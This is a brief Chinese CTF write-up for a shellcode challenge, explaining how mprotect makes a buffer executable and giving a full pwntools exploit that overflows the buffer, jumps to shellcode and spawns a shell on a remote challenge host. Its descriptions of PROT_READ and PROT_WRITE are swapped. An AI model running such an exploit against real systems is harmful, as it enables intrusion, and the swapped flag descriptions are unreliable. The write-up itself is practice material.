一道shellcode的题
file 和checksec
NX不可执行保护开启
但是有个memset(s, 0, sizeof(s));函数
mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。
prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:
1)PROT_READ:表示内存段内的内容可写;
2)PROT_WRITE:表示内存段内的内容可读;
3)PROT_EXEC:表示内存段中的内容可执行;
4)PROT_NONE:表示内存段中的内容根本没法访问。
代表着buff可以执行了
也可以用GDB调试去看一下
exp
from ast import Interactive
from pwn import *
context.os = 'linux'
context.arch = 'amd64'
context.log_level = 'debug'
i= remote('node5.anna.nssctf.cn',28148)
buu_add = 0x4040a0
shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(0x100+8,b'a')+p64(buu_add)
i.sendline(payload)
i.interactive()
先指定context.arch="i386/amd64"
asm(自定义shellcode)
asm(shellcraft.sh())
自动生成shellcode
就这么多吧,不想写了今天,有空再补